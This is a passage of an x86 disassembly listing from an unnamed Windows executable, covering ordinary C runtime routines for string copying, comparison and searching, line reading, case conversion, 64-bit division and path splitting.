		jnz	short loc_416DA2

loc_416DB4:				; CODE XREF: sub_416D40+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E27

loc_416DBB:				; CODE XREF: sub_416D40+7Fj
					; sub_416D40+F4j
		mov	[edi], al
		inc	edi

loc_416DBE:				; CODE XREF: sub_416D40+4Dj
		dec	ebx
		jnz	short loc_416DBB
		pop	ebx
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416DC9:				; CODE XREF: sub_416D40+A9j
					; sub_416D40+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D80

loc_416DD1:				; CODE XREF: sub_416D40+20j
					; sub_416D40+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DC9
		test	dl, dl
		jz	short loc_416E1B
		test	dh, dh
		jz	short loc_416E11
		test	edx, 0FF0000h
		jz	short loc_416E07
		test	edx, 0FF000000h
		jnz	short loc_416DC9
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E07:				; CODE XREF: sub_416D40+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E11:				; CODE XREF: sub_416D40+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------

loc_416E1B:				; CODE XREF: sub_416D40+ADj
		xor	edx, edx
		mov	[edi], edx

loc_416E1F:				; CODE XREF: sub_416D40+C5j
					; sub_416D40+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E31

loc_416E27:				; CODE XREF: sub_416D40+79j
		xor	eax, eax

loc_416E29:				; CODE XREF: sub_416D40+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E29

loc_416E31:				; CODE XREF: sub_416D40+E5j
		and	ebx, 3
		jnz	short loc_416DBB

loc_416E36:				; CODE XREF: sub_416D40+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E3E	proc near		; CODE XREF: sub_406C3E+2E2p
					; sub_406C3E+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416EBA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416E5D
		cmp	edi, 1
		jz	short loc_416E5D
		cmp	edi, 2
		jnz	short loc_416EBA

loc_416E5D:				; CODE XREF: sub_416E3E+13j
					; sub_416E3E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E74
		push	esi
		call	sub_41BC19
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_416E74:				; CODE XREF: sub_416E3E+27j
		push	esi
		call	sub_4186E4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E89
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E9D
; ---------------------------------------------------------------------------

loc_416E89:				; CODE XREF: sub_416E3E+42j
		test	al, 1
		jz	short loc_416E9D
		test	al, 8
		jz	short loc_416E9D
		test	ah, 4
		jnz	short loc_416E9D
		mov	dword ptr [esi+18h], 200h

loc_416E9D:				; CODE XREF: sub_416E3E+49j
					; sub_416E3E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BB7F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EC7
; ---------------------------------------------------------------------------

loc_416EBA:				; CODE XREF: sub_416E3E+Bj
					; sub_416E3E+1Dj
		mov	dword_4694B4, 16h
		or	eax, 0FFFFFFFFh

loc_416EC7:				; CODE XREF: sub_416E3E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ED0	proc near		; CODE XREF: sub_406C3E+2ACp
					; sub_406C3E+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416F01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EFF
		jz	short loc_416F01
		dec	ecx
		dec	ecx

loc_416EFF:				; CODE XREF: sub_416ED0+29j
		not	ecx

loc_416F01:				; CODE XREF: sub_416ED0+9j
					; sub_416ED0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F10	proc near		; CODE XREF: sub_407135+5Cp
					; sub_407135+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FC4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F3A

loc_416F2B:				; CODE XREF: sub_416F10+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F6B
		test	edi, 3
		jnz	short loc_416F2B

loc_416F3A:				; CODE XREF: sub_416F10+19j
					; sub_416F10+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F3A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F78
		test	ah, ah
		jz	short loc_416F73
		test	eax, 0FF0000h
		jz	short loc_416F6E
		test	eax, 0FF000000h
		jnz	short loc_416F3A

loc_416F6B:				; CODE XREF: sub_416F10+20j
		dec	edi
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F6E:				; CODE XREF: sub_416F10+52j
		sub	edi, 2
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F73:				; CODE XREF: sub_416F10+4Bj
		sub	edi, 3
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------

loc_416F78:				; CODE XREF: sub_416F10+47j
		sub	edi, 4

loc_416F7B:				; CODE XREF: sub_416F10+5Cj
					; sub_416F10+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------

loc_416F90:				; CODE XREF: sub_416F10+75j
					; sub_416F10+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FCA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FC0
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC

loc_416FAC:				; CODE XREF: sub_416F10+7Ej
					; sub_416F10+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FC0

loc_416FB3:				; CODE XREF: sub_416F10+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FC2
		dec	ecx
		jnz	short loc_416FB3

loc_416FC0:				; CODE XREF: sub_416F10+8Bj
					; sub_416F10+A1j
		mov	[edi], cl

loc_416FC2:				; CODE XREF: sub_416F10+ABj
		pop	ebx
		pop	esi

loc_416FC4:				; CODE XREF: sub_416F10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416FCA:				; CODE XREF: sub_416F10+85j
					; sub_416F10+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_416FD4:				; CODE XREF: sub_416F10+E4j
					; sub_416F10+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416FAC

loc_416FDC:				; CODE XREF: sub_416F10+7Cj
					; sub_416F10+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FD4
		test	dl, dl
		jz	short loc_416FCA
		test	dh, dh
		jz	short loc_417028
		test	edx, 0FF0000h
		jz	short loc_417018
		test	edx, 0FF000000h
		jnz	short loc_416FD4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417018:				; CODE XREF: sub_416F10+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417028:				; CODE XREF: sub_416F10+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417040	proc near		; CODE XREF: sub_407276+2A2p
					; sub_40CE55+30AFp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417061
		xor	eax, eax
		jmp	short loc_417063
; ---------------------------------------------------------------------------

loc_417061:				; CODE XREF: sub_417040+1Bj
		mov	eax, edi

loc_417063:				; CODE XREF: sub_417040+1Fj
		cld
		pop	edi
		leave
		retn
sub_417040	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417080

loc_417070:				; CODE XREF: sub_417080+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417080
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417080	proc near		; CODE XREF: sub_4085D3+DBp
					; sub_40CE55+411p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_417086:				; CODE XREF: sub_415AC0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4170AB

loc_417098:				; CODE XREF: sub_417080+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417070
		test	cl, cl
		jz	short loc_4170F4
		test	edx, 3
		jnz	short loc_417098

loc_4170AB:				; CODE XREF: sub_417080+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_4170B6:				; CODE XREF: sub_417080+61j
					; sub_417080+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170F8
		and	eax, 81010100h
		jz	short loc_4170B6
		and	eax, 1010100h
		jnz	short loc_4170F2
		and	esi, 80000000h
		jnz	short loc_4170B6

loc_4170F2:				; CODE XREF: sub_417080+68j
					; sub_417080+81j ...
		pop	esi
		pop	edi

loc_4170F4:				; CODE XREF: sub_417080+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4170F8:				; CODE XREF: sub_417080+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417135
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_41712E
		test	ah, ah
		jz	short loc_4170F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417127
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_417120
		test	ah, ah
		jz	short loc_4170F2
		jmp	short loc_4170B6
; ---------------------------------------------------------------------------

loc_417120:				; CODE XREF: sub_417080+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_417127:				; CODE XREF: sub_417080+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41712E:				; CODE XREF: sub_417080+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_417135:				; CODE XREF: sub_417080+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41713C	proc near		; CODE XREF: sub_4085D3+AFp
					; sub_40CE55+4479p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417150
		xor	eax, eax
		jmp	short loc_417186
; ---------------------------------------------------------------------------

loc_417150:				; CODE XREF: sub_41713C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417180
		mov	esi, [ebp+arg_8]

loc_417159:				; CODE XREF: sub_41713C+42j
		dec	dword ptr [esi+4]
		js	short loc_417168
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41716F
; ---------------------------------------------------------------------------

loc_417168:				; CODE XREF: sub_41713C+20j
		push	esi
		call	sub_41B8B0
		pop	ecx

loc_41716F:				; CODE XREF: sub_41713C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41718A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417180
		dec	[ebp+arg_4]
		jnz	short loc_417159

loc_417180:				; CODE XREF: sub_41713C+18j
					; sub_41713C+3Dj ...
		and	byte ptr [edi],	0

loc_417183:				; CODE XREF: sub_41713C+55j
		mov	eax, ebx
		pop	esi

loc_417186:				; CODE XREF: sub_41713C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41718A:				; CODE XREF: sub_41713C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417180
		xor	ebx, ebx
		jmp	short loc_417183
sub_41713C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417193	proc near		; CODE XREF: sub_409B24+6p
					; sub_409B42+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469548, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171C0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417259
		cmp	eax, 5Ah
		jg	loc_417259
		add	eax, 20h
		jmp	loc_417259
; ---------------------------------------------------------------------------

loc_4171C0:				; CODE XREF: sub_417193+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171F4
		cmp	dword_437F9C, esi
		jle	short loc_4171E2
		push	esi
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4171EC
; ---------------------------------------------------------------------------

loc_4171E2:				; CODE XREF: sub_417193+42j
		mov	eax, off_437D90
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_4171EC:				; CODE XREF: sub_417193+4Dj
		test	eax, eax
		jnz	short loc_4171F4

loc_4171F0:				; CODE XREF: sub_417193+ADj
		mov	eax, ebx
		jmp	short loc_417259
; ---------------------------------------------------------------------------

loc_4171F4:				; CODE XREF: sub_417193+3Aj
					; sub_417193+5Bj
		mov	edx, off_437D90
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417218
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417221
; ---------------------------------------------------------------------------

loc_417218:				; CODE XREF: sub_417193+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_417221:				; CODE XREF: sub_417193+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_469548
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171F0
		cmp	eax, esi
		jnz	short loc_41724C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417259
; ---------------------------------------------------------------------------

loc_41724C:				; CODE XREF: sub_417193+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_417259:				; CODE XREF: sub_417193+16j
					; sub_417193+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417193	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417260	proc near		; CODE XREF: sub_40AA1B+3Dp
					; sub_40C218+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417281
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172D1
; ---------------------------------------------------------------------------

loc_417281:				; CODE XREF: sub_417260+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41728F:				; CODE XREF: sub_417260+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41728F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4172BA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4172BA
		jb	short loc_4172C2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172C2

loc_4172BA:				; CODE XREF: sub_417260+4Aj
					; sub_417260+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_4172C2:				; CODE XREF: sub_417260+52j
					; sub_417260+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4172D1:				; CODE XREF: sub_417260+1Fj
		pop	ebx
		retn	10h
sub_417260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172E0	proc near		; CODE XREF: sub_40AA1B+24p
					; sub_40C218+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417302
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417343
; ---------------------------------------------------------------------------

loc_417302:				; CODE XREF: sub_4172E0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_417310:				; CODE XREF: sub_4172E0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417310
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41733E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41733E
		jb	short loc_41733F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41733F

loc_41733E:				; CODE XREF: sub_4172E0+4Ej
					; sub_4172E0+54j
		dec	esi

loc_41733F:				; CODE XREF: sub_4172E0+56j
					; sub_4172E0+5Cj
		xor	edx, edx
		mov	eax, esi

loc_417343:				; CODE XREF: sub_4172E0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417348	proc near		; CODE XREF: sub_40AAD1+1E3p
					; sub_40C682+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417383
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417383
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41737F
		push	2
		push	ebx
		push	esi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41737F:				; CODE XREF: sub_417348+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41738D
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417348+18j
					; sub_417348+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41738D
		and	byte ptr [eax],	0

loc_41738D:				; CODE XREF: sub_417348+39j
					; sub_417348+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417405

loc_4173A0:				; CODE XREF: sub_417348+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_46AA01[edx], 4
		jz	short loc_4173B1
		inc	eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------

loc_4173B1:				; CODE XREF: sub_417348+64j
		cmp	cl, 2Fh
		jz	short loc_4173C5
		cmp	cl, 5Ch
		jz	short loc_4173C5
		cmp	cl, 2Eh
		jnz	short loc_4173CB
		mov	[ebp+var_4], eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------

loc_4173C5:				; CODE XREF: sub_417348+6Cj
					; sub_417348+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_4173CB:				; CODE XREF: sub_417348+67j
					; sub_417348+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4173A0
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417405
		cmp	[ebp+arg_8], 0
		jz	short loc_417400
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173E9
		mov	edi, esi

loc_4173E9:				; CODE XREF: sub_417348+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3A0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_417400:				; CODE XREF: sub_417348+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41740F
; ---------------------------------------------------------------------------

loc_417405:				; CODE XREF: sub_417348+56j
					; sub_417348+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41740F
		and	byte ptr [ecx],	0

loc_41740F:				; CODE XREF: sub_417348+BBj
					; sub_417348+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417462
		cmp	edi, ebx
		jb	short loc_417462
		cmp	[ebp+arg_C], 0
		jz	short loc_41743F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417428
		mov	edi, esi

loc_417428:				; CODE XREF: sub_417348+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3A0
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41743F:				; CODE XREF: sub_417348+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41748A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41744F
		mov	esi, eax

loc_41744F:				; CODE XREF: sub_417348+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41748A
; ---------------------------------------------------------------------------

loc_417462:				; CODE XREF: sub_417348+CCj
					; sub_417348+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417480
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417471
		mov	esi, eax

loc_417471:				; CODE XREF: sub_417348+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_417480:				; CODE XREF: sub_417348+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41748A
		and	byte ptr [eax],	0

loc_41748A:				; CODE XREF: sub_417348+FCj
					; sub_417348+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41748F	proc near		; CODE XREF: sub_40B1E1+19p
					; sub_412D06+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174CD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174DA
; ---------------------------------------------------------------------------

loc_4174CD:				; CODE XREF: sub_41748F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_4174DA:				; CODE XREF: sub_41748F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41748F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174DF	proc near		; CODE XREF: sub_40B459+2Ep
					; sub_4167D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174FA
		push	[esp+10h+arg_4]
		call	sub_415DC9
		pop	ecx
		jmp	loc_4175FA
; ---------------------------------------------------------------------------

loc_4174FA:				; CODE XREF: sub_4174DF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417510
		push	ebx
		call	sub_415E3D
		pop	ecx

loc_417509:				; CODE XREF: sub_4174DF+114j
		xor	eax, eax
		jmp	loc_4175FA
; ---------------------------------------------------------------------------

loc_417510:				; CODE XREF: sub_4174DF+21j
					; sub_4174DF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175DB
		push	ebx
		call	sub_418AFD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4175B8
		cmp	esi, dword_437FAC
		ja	short loc_417578
		push	esi
		push	ebx
		push	ebp
		call	sub_419308
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417547
		mov	edi, ebx
		jmp	short loc_417570
; ---------------------------------------------------------------------------

loc_417547:				; CODE XREF: sub_4174DF+62j
		push	esi
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417578
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41755E
		mov	eax, esi

loc_41755E:				; CODE XREF: sub_4174DF+7Bj
		push	eax
		push	ebx
		push	edi
